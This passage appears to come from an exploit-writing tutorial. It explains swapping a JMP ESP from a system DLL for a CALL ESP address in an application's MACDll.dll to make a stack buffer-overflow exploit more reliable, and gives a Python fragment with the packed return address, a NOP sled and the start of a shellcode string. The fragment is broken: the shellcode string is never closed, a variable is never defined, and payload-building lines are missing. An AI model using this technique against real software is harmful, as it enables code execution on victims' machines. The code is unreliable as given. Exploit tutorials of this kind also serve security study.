In my first tutorial I’ve taken a JMP ESP from some system .dll called WMVCore.dll. Since this isn’t a reliable jump, because the WMVCore.dll might differ from OS version to OS version, it would be more reliable to take one from a loaded application DLL. Those will never change, because they always come with the installer of the application.

Beside the JMP ESP, we’ve got also the possibility to jump to our shellcode using a CALL ESP (opcode: FF D4), so let’s have a look at the loaded application DLLs and take a nice, useable address (we’ve to take care about the little-endian notation and the null-problem here !).

The MACDll.dll is loaded between C80000 and CD0000 and there’s also a CALL ESP in this range @ 0x00CA5DD3. Now we can modify the Python script to use the CALL from the application DLL instead of the Windows DLL:

from struct import pack

eip=pack('<I',0x00CA5DD3) #call esp from MACdll.dll (loaded @C80000)
nops = "\x90" * 3

shellcode = ("\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1\x1e"

writeFile = open (file, "w")

And et voila, we’ve got a more reliable exploit now!